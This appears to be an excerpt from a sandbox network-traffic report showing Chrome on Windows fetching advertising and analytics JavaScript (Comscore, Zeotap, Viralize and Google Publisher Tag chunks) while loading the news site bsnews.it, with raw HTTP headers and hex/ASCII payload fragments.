2024-03-28 08:51:14 UTC	536	OUT	GET /codesour/bsnews/434.prod.js HTTP/1.1 Host: cdn.codesour.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:15 UTC	670	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:15 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 672 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 13 Feb 2024 14:39:33 GMT x-rgw-object-type: Normal ETag: "f9705a5121355fe99c15c2bd42171615" x-amz-request-id: tx00000e0f1a65dadffa865-0065cb807d-2bbc492-prg X-77-NZT: AyUTzgQ3NzehnJI76Dc3N//aLQcAWbu8qSuiUAA X-77-NZT-Ray: 8e305f1c28f4ae69832f0566735e7500 X-Accel-Expires: @1711663785 X-Accel-Date: 1711145385 X-77-Cache: HIT X-77-Age: 470490 Server: CDN77-Turbo X-Cache: MISS X-77-POP: ashburnUSVA Accept-Ranges: bytes
2024-03-28 08:51:15 UTC	672	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 34 33 34 5d 2c 7b 34 33 34 3a 28 63 2c 65 2c 73 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 73 2e 72 28 65 29 3b 76 61 72 20 6f 3d 73 28 38 34 35 29 3b 63 6f 6e 73 74 7b 4c 6f 67 67 65 72 53 6f 75 72 3a 72 7d 3d 6f 2e 74 2c 74 3d 6e 65 77 20 72 28 22 44 4d 50 20 3e 20 43 6f 6d 73 63 6f 72 65 22 29 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2c 74 2e 6c 6f 67 28 22 43 6f 6d 73 63 6f 72 65 20 2d 20 49 6e 69 74 22 29 3b 6c 65 74 20 63 3d 22 3c 73 70 61 6e 20 69 64 3d 27 73 6f 75 72 2d 63 6f 6d 73 63 6f 72 65 2d 73 63 72 69 70 74 73 27 3e 22 3b 63 2b 3d 22 20 20 3c 73 63 Data Ascii: (self.webpackChunksour=self.webpackChunksour\|\|[]).push([[434],{434:(c,e,s)=>{"use strict";s.r(e);var o=s(845);const{LoggerSour:r}=o.t,t=new r("DMP > Comscore");!function(){window,t.log("Comscore - Init");let c="<span id='sour-comscore-scripts'>";c+=" <sc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
198	192.168.2.4	49960	37.19.206.6	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:14 UTC	536	OUT	GET /codesour/bsnews/267.prod.js HTTP/1.1 Host: cdn.codesour.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:15 UTC	670	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:15 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 591 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 13 Feb 2024 14:39:32 GMT x-rgw-object-type: Normal ETag: "ae2b6b87e64723ffe18db5644e85d82d" x-amz-request-id: tx00000f1a99e1f26f55bfa-0065cb807e-48c66ec-prg X-77-NZT: AyUTzgQ3NzehnJI73zc3N+/YbQUAbT1aDkDvoQA X-77-NZT-Ray: 8e305f1caafea76a832f0566c2e88305 X-Accel-Expires: @1711778475 X-Accel-Date: 1711260075 X-77-Cache: HIT X-77-Age: 355800 Server: CDN77-Turbo X-Cache: MISS X-77-POP: ashburnUSVA Accept-Ranges: bytes
2024-03-28 08:51:15 UTC	591	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 32 36 37 5d 2c 7b 32 36 37 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 72 28 74 29 3b 76 61 72 20 6f 3d 6e 28 38 34 35 29 3b 63 6f 6e 73 74 7b 4c 6f 67 67 65 72 53 6f 75 72 3a 61 7d 3d 6f 2e 74 2c 73 3d 6e 65 77 20 61 28 22 44 4d 50 20 3e 20 5a 65 6f 74 61 70 22 29 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 77 69 6e 64 6f 77 3b 63 6f 6e 73 74 7b 64 6d 70 43 6f 6e 66 69 67 3a 74 7d 3d 65 2e 5f 73 6f 75 72 2e 63 6f 6e 66 69 67 3b 69 66 28 21 74 29 72 65 74 75 72 6e 3b 6c 65 74 20 6e 3d 74 2e 66 69 6e 64 28 28 65 3d 3e 22 7a 65 6f 74 61 70 22 Data Ascii: (self.webpackChunksour=self.webpackChunksour\|\|[]).push([[267],{267:(e,t,n)=>{"use strict";n.r(t);var o=n(845);const{LoggerSour:a}=o.t,s=new a("DMP > Zeotap");!function(){var e=window;const{dmpConfig:t}=e._sour.config;if(!t)return;let n=t.find((e=>"zeotap"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
199	192.168.2.4	49959	37.19.206.6	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:14 UTC	535	OUT	GET /codesour/bsnews/47.prod.js HTTP/1.1 Host: cdn.codesour.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:15 UTC	592	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:15 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 562 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 13 Feb 2024 14:39:33 GMT x-rgw-object-type: Normal ETag: "f1395dd580b4f1707ba147cf099c5e8b" x-amz-request-id: tx000006d59d12f12033cfe-0066052f83-2bbc492-prg X-77-NZT: AyUTzgQ3NzehnJI74jc3N6FtPVoNkM/MAA X-77-NZT-Ray: 8e305f1c6bfb746a832f05665d409404 X-77-Cache: MISS Server: CDN77-Turbo X-Cache: MISS X-77-POP: ashburnUSVA Accept-Ranges: bytes
2024-03-28 08:51:15 UTC	562	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 34 37 5d 2c 7b 34 37 3a 28 74 2c 65 2c 72 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 72 2e 72 28 65 29 3b 76 61 72 20 6f 3d 72 28 38 34 35 29 3b 63 6f 6e 73 74 7b 4c 6f 67 67 65 72 53 6f 75 72 3a 73 7d 3d 6f 2e 74 3b 6e 65 77 20 73 28 22 44 4d 50 20 3e 20 54 4e 43 22 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 2c 6f 2c 73 29 7b 74 5b 72 5d 3d 74 5b 72 5d 7c 7c 7b 7d 2c 74 5b 72 5d 2e 70 72 6f 76 69 64 65 72 49 64 3d 22 36 62 36 33 34 30 37 35 2d 64 64 62 32 2d 34 34 66 62 2d 62 61 39 65 2d 36 31 38 33 63 64 38 61 39 64 65 63 22 2c 74 5b 72 5d 2e 6f 70 74 69 6f 6e 73 3d 74 5b Data Ascii: (self.webpackChunksour=self.webpackChunksour\|\|[]).push([[47],{47:(t,e,r)=>{"use strict";r.r(e);var o=r(845);const{LoggerSour:s}=o.t;new s("DMP > TNC"),function(t,e,r,o,s){t[r]=t[r]\|\|{},t[r].providerId="6b634075-ddb2-44fb-ba9e-6183cd8a9dec",t[r].options=t[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
200	192.168.2.4	49962	37.19.206.6	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:15 UTC	536	OUT	GET /codesour/bsnews/280.prod.js HTTP/1.1 Host: cdn.codesour.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:15 UTC	670	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:15 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 915 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 13 Feb 2024 14:39:33 GMT x-rgw-object-type: Normal ETag: "8a008bfe68d449ecc63fb9070048c45d" x-amz-request-id: tx000007905392ba7c5cf19-0065cb807e-2730a77-prg X-77-NZT: AyUTzgQ3NzehnJI73zc3N//XbQUAbT1aAp3gzwA X-77-NZT-Ray: 8e305f1cf60b8a6d832f0566ba301b23 X-Accel-Expires: @1711778476 X-Accel-Date: 1711260076 X-77-Cache: HIT X-77-Age: 355799 Server: CDN77-Turbo X-Cache: MISS X-77-POP: ashburnUSVA Accept-Ranges: bytes
2024-03-28 08:51:15 UTC	915	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 32 38 30 5d 2c 7b 32 38 30 3a 28 74 2c 65 2c 73 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 73 2e 72 28 65 29 3b 76 61 72 20 63 3d 73 28 38 34 35 29 3b 63 6f 6e 73 74 7b 4c 6f 67 67 65 72 53 6f 75 72 3a 72 2c 66 69 6c 74 65 72 4c 69 73 74 42 79 50 61 67 65 54 79 70 65 3a 6f 7d 3d 63 2e 74 2c 75 3d 6e 65 77 20 72 28 22 43 75 73 74 6f 6d 20 53 63 72 69 70 74 73 22 29 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 77 69 6e 64 6f 77 3b 63 6f 6e 73 74 7b 73 63 72 69 70 74 73 54 6f 4c 6f 61 64 3a 65 2c 64 65 76 69 63 65 3a 73 2c 70 61 67 65 54 79 70 65 3a 63 7d 3d 74 2e 5f 73 Data Ascii: (self.webpackChunksour=self.webpackChunksour\|\|[]).push([[280],{280:(t,e,s)=>{"use strict";s.r(e);var c=s(845);const{LoggerSour:r,filterListByPageType:o}=c.t,u=new r("Custom Scripts");!function(){var t=window;const{scriptsToLoad:e,device:s,pageType:c}=t._s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
201	192.168.2.4	49961	162.55.236.224	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:15 UTC	723	OUT	GET /b3adde1f4bbb31c3485562d6e3ddceb4/?rnd=56538560 HTTP/1.1 Host: sync.richaudience.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:15 UTC	534	IN	HTTP/1.1 302 Found Server: nginx Date: Thu, 28 Mar 2024 08:42:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.2.4 P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Set-Cookie: pdid=2c9d0f98-4385-4c43-ba27-1zz1711615376; expires=Sat, 27 Apr 2024 08:42:56 GMT; Max-Age=2592000; path=/; domain=.richaudience.com; secure; HttpOnly; SameSite=None Location: https://sync.richaudience.com/b3adde1f4bbb31c3485562d6e3ddceb4/?rnd=56538560&rd=1
2024-03-28 08:51:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
202	192.168.2.4	49963	37.19.206.6	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:15 UTC	536	OUT	GET /codesour/bsnews/490.prod.js HTTP/1.1 Host: cdn.codesour.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:16 UTC	593	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:16 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 2841 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 13 Feb 2024 14:39:29 GMT x-rgw-object-type: Normal ETag: "f6f4b737285b512db41720a2f4561060" x-amz-request-id: tx0000064115378caba7937-0066052f84-2bbc492-prg X-77-NZT: AyUTzgQ3NzehnJI74jc3N6FZu7ym6+MnAA X-77-NZT-Ray: 8e305f1c44fbb075832f0566b9e32934 X-77-Cache: MISS Server: CDN77-Turbo X-Cache: MISS X-77-POP: ashburnUSVA Accept-Ranges: bytes
2024-03-28 08:51:16 UTC	2841	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 34 39 30 5d 2c 7b 39 38 38 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 43 3a 28 29 3d 3e 69 7d 29 3b 76 61 72 20 72 3d 6e 28 38 34 35 29 3b 63 6f 6e 73 74 7b 4c 6f 67 67 65 72 53 6f 75 72 3a 6c 7d 3d 72 2e 74 2c 6f 3d 6e 65 77 20 6c 28 22 44 4f 4d 20 4d 61 6e 61 67 65 72 22 29 2c 69 3d 7b 63 72 65 61 74 65 44 4f 4d 45 6c 65 6d 65 6e 74 3a 63 2c 63 72 65 61 74 65 44 69 76 41 6e 64 41 70 70 65 6e 64 3a 73 2c 63 72 65 61 74 65 50 6c 61 63 65 48 6f 6c 64 65 72 41 6e 64 53 74 79 6c 65 3a 64 2c 63 68 65 63 6b 50 61 67 65 53 65 6c 65 63 74 6f 72 Data Ascii: (self.webpackChunksour=self.webpackChunksour\|\|[]).push([[490],{988:(e,t,n)=>{"use strict";n.d(t,{C:()=>i});var r=n(845);const{LoggerSour:l}=r.t,o=new l("DOM Manager"),i={createDOMElement:c,createDivAndAppend:s,createPlaceHolderAndStyle:d,checkPageSelector

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
203	192.168.2.4	49964	37.19.206.6	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:17 UTC	534	OUT	GET /codesour/bsnews/9.prod.js HTTP/1.1 Host: cdn.codesour.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:18 UTC	592	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:18 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 660 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 13 Feb 2024 14:39:25 GMT x-rgw-object-type: Normal ETag: "586b4902901ba78bc3a6b8516244c911" x-amz-request-id: tx00000583b16c53dbd06b0-0066052f85-4989571-prg X-77-NZT: AyUTzgQ3NzehuTvfFDc3N6FtPVoNTUx4AA X-77-NZT-Ray: 8e305f1c6d013378852f05669a67212d X-77-Cache: MISS Server: CDN77-Turbo X-Cache: MISS X-77-POP: ashburnUSVA Accept-Ranges: bytes
2024-03-28 08:51:18 UTC	660	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 39 5d 2c 7b 39 3a 28 65 2c 74 2c 69 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 69 2e 72 28 74 29 3b 76 61 72 20 6e 3d 69 28 38 34 35 29 3b 63 6f 6e 73 74 7b 4c 6f 67 67 65 72 53 6f 75 72 3a 72 7d 3d 6e 2e 74 2c 6f 3d 6e 65 77 20 72 28 22 50 6c 61 79 65 72 20 3e 20 53 6b 79 46 6c 75 69 64 22 29 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 77 69 6e 64 6f 77 3b 63 6f 6e 73 74 7b 73 6b 79 46 6c 75 69 64 43 6f 6e 66 69 67 3a 74 7d 3d 65 2e 5f 73 6f 75 72 2e 63 6f 6e 66 69 67 3b 69 66 28 74 29 7b 76 61 72 20 69 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 Data Ascii: (self.webpackChunksour=self.webpackChunksour\|\|[]).push([[9],{9:(e,t,i)=>{"use strict";i.r(t);var n=i(845);const{LoggerSour:r}=n.t,o=new r("Player > SkyFluid");!function(){var e=window;const{skyFluidConfig:t}=e._sour.config;if(t){var i=document.getElementB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
204	192.168.2.4	49965	37.19.206.6	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:17 UTC	536	OUT	GET /codesour/bsnews/807.prod.js HTTP/1.1 Host: cdn.codesour.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:18 UTC	592	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:18 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 737 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 13 Feb 2024 14:39:31 GMT x-rgw-object-type: Normal ETag: "8e295de99c41f5ac2400da2ada41ae48" x-amz-request-id: tx0000049747fa558ffa6a2-0066052f86-3fdde42-prg X-77-NZT: AyUTzgQ3NzehnJI74jc3N6FtPVoCPW9GAA X-77-NZT-Ray: 8e305f1cab019792862f0566a1701405 X-77-Cache: MISS Server: CDN77-Turbo X-Cache: MISS X-77-POP: ashburnUSVA Accept-Ranges: bytes
2024-03-28 08:51:18 UTC	737	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 38 30 37 5d 2c 7b 38 30 37 3a 28 65 2c 69 2c 74 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 74 2e 72 28 69 29 3b 76 61 72 20 72 3d 74 28 38 34 35 29 3b 63 6f 6e 73 74 7b 4c 6f 67 67 65 72 53 6f 75 72 3a 61 2c 66 69 6c 74 65 72 4c 69 73 74 42 79 50 61 67 65 54 79 70 65 3a 6c 7d 3d 72 2e 74 2c 6f 3d 6e 65 77 20 61 28 22 50 6c 61 79 65 72 20 3e 20 56 69 72 61 6c 69 7a 65 22 29 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 77 69 6e 64 6f 77 3b 63 6f 6e 73 74 7b 73 63 72 69 70 74 73 54 6f 4c 6f 61 64 3a 69 2c 70 61 67 65 54 79 70 65 3a 74 2c 64 65 76 69 63 65 3a 72 7d 3d 65 Data Ascii: (self.webpackChunksour=self.webpackChunksour\|\|[]).push([[807],{807:(e,i,t)=>{"use strict";t.r(i);var r=t(845);const{LoggerSour:a,filterListByPageType:l}=r.t,o=new a("Player > Viralize");!function(){var e=window;const{scriptsToLoad:i,pageType:t,device:r}=e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
205	192.168.2.4	49967	142.251.16.157	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:18 UTC	670	OUT	GET /pagead/managed/js/gpt/m202403210101/pubads_impl.js HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:18 UTC	741	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Server: cafe Content-Length: 449129 X-XSS-Protection: 0 Date: Wed, 27 Mar 2024 23:27:17 GMT Expires: Thu, 27 Mar 2025 23:27:17 GMT Cache-Control: public, immutable, max-age=31536000 Age: 33841 ETag: 1088271010723479833 Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 08:51:18 UTC	511	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 2f 2a 20 0a 20 0a 20 43 6f 70 79 72 69 67 68 74 20 54 68 65 20 43 6c 6f 73 75 72 65 20 4c 69 62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 20 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 20 0a 2a 2f 20 0a 2f 2a 20 0a 20 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 20 0a 2a 2f 20 0a 76 61 72 20 62 61 2c 64 61 2c 69 61 2c 6c 61 2c 6e 61 2c 70 61 2c 74 61 2c 73 61 2c 75 61 2c 76 61 2c 78 61 2c 79 61 2c 7a 61 2c 42 61 2c 44 61 2c 47 61 2c 48 61 2c 49 61 2c 4a 61 2c 4b 61 2c 4d 61 2c 57 61 2c 64 62 2c 65 62 2c 6c 62 2c 6e 62 2c 6f 62 2c 70 62 2c 71 62 2c 73 62 2c 77 62 2c 79 62 2c 43 62 2c 46 62 Data Ascii: (function(_){/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 / / SPDX-License-Identifier: Apache-2.0 */ var ba,da,ia,la,na,pa,ta,sa,ua,va,xa,ya,za,Ba,Da,Ga,Ha,Ia,Ja,Ka,Ma,Wa,db,eb,lb,nb,ob,pb,qb,sb,wb,yb,Cb,Fb
2024-03-28 08:51:18 UTC	1252	IN	Data Raw: 4f 65 2c 50 65 2c 72 65 2c 51 65 2c 52 65 2c 53 65 2c 55 65 2c 56 65 2c 57 65 2c 58 65 2c 61 66 2c 62 66 2c 63 66 2c 5a 65 2c 6b 66 2c 24 65 2c 6c 66 2c 70 66 2c 45 66 2c 47 66 2c 4b 66 2c 4c 66 2c 4d 66 2c 51 66 2c 52 66 2c 53 66 2c 55 66 2c 56 66 2c 57 66 2c 58 66 2c 59 66 2c 61 67 2c 65 67 2c 67 67 2c 66 67 2c 6b 67 2c 6d 67 2c 6e 67 2c 71 67 2c 72 67 2c 48 67 2c 49 67 2c 4e 67 2c 51 67 2c 52 67 2c 54 67 2c 56 67 2c 58 67 2c 59 67 2c 61 68 2c 62 68 2c 63 68 2c 64 68 2c 65 68 2c 67 68 2c 69 68 2c 6a 68 2c 6c 68 2c 6d 68 2c 6e 68 2c 6f 68 2c 70 68 2c 71 68 2c 74 68 2c 76 68 2c 7a 68 2c 78 68 2c 52 68 2c 53 68 2c 54 68 2c 42 68 2c 51 68 2c 55 68 2c 56 68 2c 65 69 2c 63 69 2c 68 69 2c 70 69 2c 57 68 2c 79 69 2c 4b 69 2c 4c 69 2c 50 69 2c 51 69 2c 57 69 2c Data Ascii: Oe,Pe,re,Qe,Re,Se,Ue,Ve,We,Xe,af,bf,cf,Ze,kf,$e,lf,pf,Ef,Gf,Kf,Lf,Mf,Qf,Rf,Sf,Uf,Vf,Wf,Xf,Yf,ag,eg,gg,fg,kg,mg,ng,qg,rg,Hg,Ig,Ng,Qg,Rg,Tg,Vg,Xg,Yg,ah,bh,ch,dh,eh,gh,ih,jh,lh,mh,nh,oh,ph,qh,th,vh,zh,xh,Rh,Sh,Th,Bh,Qh,Uh,Vh,ei,ci,hi,pi,Wh,yi,Ki,Li,Pi,Qi,Wi,
